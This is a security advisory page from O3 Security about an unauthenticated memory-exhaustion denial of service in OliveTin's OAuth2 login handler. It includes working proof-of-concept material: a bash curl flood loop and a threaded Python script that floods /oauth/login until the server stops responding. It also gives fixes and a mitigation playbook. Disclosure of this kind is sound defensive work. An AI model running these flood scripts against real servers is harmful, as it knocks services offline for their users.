Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹 Go

GHSA-xpxj-f2fm-rqch

HIGH

GHSA-xpxj-f2fm-rqch is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in github.com/OliveTin/OliveTin. O3 Security confirms whether GHSA-xpxj-f2fm-rqch is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

OliveTin: Unauthenticated DoS via OAuth2 State Memory Exhaustion (Unbounded Map Growth)

Also known asCVE-2026-67437
Published
Jul 30, 2026
Updated
Jul 30, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk28th percentile0.00%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐹github.com/OliveTin/OliveTin

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

OliveTin's OAuth2 login handler stores per-login state in an in-memory map (registeredStates) that grows unboundedly. States are added on every /oauth/login request but are never deleted or expired. An unauthenticated attacker can send millions of requests to /oauth/login to fill the map with state entries, exhausting server memory and causing a denial of service.

This is distinct from CVE-2026-28789 (concurrent map writes crash). That CVE was about the panic from unsynchronized map access — the fix added a sync.RWMutex. This vulnerability is about the unbounded growth of the map even WITH the mutex, as no cleanup mechanism exists.

Affected Versions

  • All versions with OAuth2 support, including >= 3000.10.3 (which patched CVE-2026-28789)

Details

In service/internal/auth/otoauth2/restapi_auth_oauth2.go:

type OAuth2Handler struct {
    cfg                 *config.Config
    mu                  sync.RWMutex
    registeredStates    map[string]*oauth2State  // NEVER cleaned up
    registeredProviders map[string]*oauth2.Config
}

The HandleOAuthLogin handler adds a new state on every request:

func (h *OAuth2Handler) HandleOAuthLogin(w http.ResponseWriter, r *http.Request) {
    state, _ := randString(16)  // 24-byte base64 string
    // ...
    h.mu.Lock()
    h.registeredStates[state] = &oauth2State{
        providerConfig: provider,
        providerName:   providerName,
        Username:       "",
    }
    h.mu.Unlock()
    // ... redirect to OAuth2 provider
}

The HandleOAuthCallback handler updates existing states but never removes them:

func (h *OAuth2Handler) HandleOAuthCallback(w http.ResponseWriter, r *http.Request) {
    // ...
    h.mu.Lock()
    h.registeredStates[state].Username = userinfo.Username  // Updates, never deletes
    h.registeredStates[state].Usergroup = ...
    h.mu.Unlock()
}

There is no TTL, no expiry check, no periodic cleanup, and no max size limit on registeredStates.

Memory Impact Per State

Each map entry consists of:

  • Key: ~24 bytes (base64 string)
  • Value: *oauth2State struct containing:
    • providerConfig *oauth2.Config (pointer, 8 bytes + shared config)
    • providerName string (~8-16 bytes)
    • Username string (empty initially)
    • Usergroup string (empty initially)
  • Go map overhead: ~100-150 bytes per entry

Estimated: ~200 bytes per state entry

At 1 million states ≈ 200 MB of memory consumed. At 10 million states ≈ 2 GB of memory consumed.

Attack Vector

The /oauth/login endpoint is publicly accessible (unauthenticated). Each request is lightweight (no heavy computation like argon2). The server writes a cookie and returns a 302 redirect. An attacker can send thousands of requests per second.

PoC

Prerequisites

  • OliveTin instance with at least one OAuth2 provider configured
  • Network access to /oauth/login

Config

listenAddressSingleHTTPFrontend: 0.0.0.0:1337
logLevel: "INFO"
checkForUpdates: false

authOAuth2RedirectUrl: "http://127.0.0.1:1337/oauth/callback"
authOAuth2Providers:
  github:
    clientId: "test-client-id"
    clientSecret: "test-client-secret"

actions:
  - title: noop
    shell: echo "ok"

Step 1: Baseline health check

curl -i http://127.0.0.1:1337/readyz
# Expected: 200 OK

curl -I "http://127.0.0.1:1337/oauth/login?provider=github"
# Expected: 302 Found (redirect to GitHub)

Step 2: Flood with state-creation requests

# Each request creates a new map entry that is never cleaned up
for i in $(seq 1 100000); do
  curl -s -o /dev/null "http://127.0.0.1:1337/oauth/login?provider=github" &
  # Throttle to avoid connection limits
  if (( i % 500 == 0 )); then
    wait
    echo "Sent $i requests..."
  fi
done
wait
echo "Flood complete"

Step 3: Python PoC for sustained memory exhaustion

#!/usr/bin/env python3
"""PoC: OAuth2 State Memory Exhaustion DoS

Distinct from CVE-2026-28789 (concurrent map crash).
This exploits unbounded growth of the registeredStates map.
"""

import requests
import time
import sys
from concurrent.futures import ThreadPoolExecutor

TARGET = "http://127.0.0.1:1337"
PROVIDER = "github"
WORKERS = 50
TOTAL_REQUESTS = 500000
BATCH_SIZE = 1000

def create_state(_):
    """Send /oauth/login to create a new state entry."""
    try:
        requests.get(
            f"{TARGET}/oauth/login?provider={PROVIDER}",
            allow_redirects=False,
            timeout=5
        )
        return True
    except Exception:
        return False

def check_health():
    """Check if the server is still responsive."""
    try:
        r = requests.get(f"{TARGET}/readyz", timeout=5)
        return r.status_code == 200
    except Exception:
        return False

print(f"[*] Target: {TARGET}")
print(f"[*] Provider: {PROVIDER}")
print(f"[*] Total requests: {TOTAL_REQUESTS}")
print(f"[*] Workers: {WORKERS}")
print()

if not check_health():
    print("[!] Server not reachable")
    sys.exit(1)

start_time = time.time()
total_created = 0

with ThreadPoolExecutor(max_workers=WORKERS) as executor:
    for batch_start in range(0, TOTAL_REQUESTS, BATCH_SIZE):
        batch_end = min(batch_start + BATCH_SIZE, TOTAL_REQUESTS)
        results = list(executor.map(create_state, range(batch_start, batch_end)))
        total_created += sum(results)

        elapsed = time.time() - start_time
        rate = total_created / elapsed if elapsed > 0 else 0
        est_memory = total_created * 200 / 1024 / 1024  # MB

        print(f"  States created: {total_created:>8} | "
              f"Rate: {rate:>6.0f}/s | "
              f"Est. memory: {est_memory:>6.1f} MB | "
              f"Healthy: {check_health()}")

        if not check_health():
            print(f"\n[!] Server became unresponsive after {total_created} states!")
            print(f"[!] Estimated memory consumed: {est_memory:.1f} MB")
            break

print(f"\n[*] Attack complete. {total_created} states created in {time.time()-start_time:.1f}s")

Step 4: Verify memory growth (Docker)

docker stats olivetin-instance --no-stream
# Observe MEM USAGE growing continuously during the attack

Impact

  • Who is impacted: All OliveTin deployments with any OAuth2 provider configured
  • Attack requirements: Unauthenticated network access to /oauth/login
  • Effect: Gradual memory exhaustion leading to OOM kill or service degradation
  • Persistence: Memory is never reclaimed (states are never deleted) even after the attack stops — a restart is required
  • Distinction from CVE-2026-28789: That CVE was a race condition crash (concurrent map writes). This is unbounded memory growth that persists even with the mutex fix applied.

Suggested Fix

  1. Add a TTL to OAuth2 states (e.g., 15 minutes matching the cookie MaxAge)
  2. Add a maximum state count (e.g., 10,000) with LRU eviction
  3. Clean up states after successful callback
  4. Add periodic garbage collection for expired states

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/OliveTin/OliveTin0.0.0-20251024001301-45f9c18bc3ee&&< 0.0.0-20260708075951-ec114e95d2970.0.0-20260708075951-ec114e95d297

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/OliveTin/OliveTin. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/OliveTin/OliveTin to 0.0.0-20260708075951-ec114e95d297 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xpxj-f2fm-rqch is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-xpxj-f2fm-rqch is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-xpxj-f2fm-rqch. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary OliveTin's OAuth2 login handler stores per-login state in an in-memory map (`registeredStates`) that grows unboundedly. States are added on every `/oauth/login` request but are **never deleted or expired**. An unauthenticated attacker can send millions of requests to `/oauth/login` to fill the map with state entries, exhausting server memory and causing a denial of service. This is **distinct from CVE-2026-28789** (concurrent map writes crash). That CVE was about the panic from unsynchronized map access — the fix added a `sync.RWMutex`. This vulnerability is about the **unbounded
O3 Security · Impact-Aware SCA

Is GHSA-xpxj-f2fm-rqch in your dependencies?

O3 detects GHSA-xpxj-f2fm-rqch across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.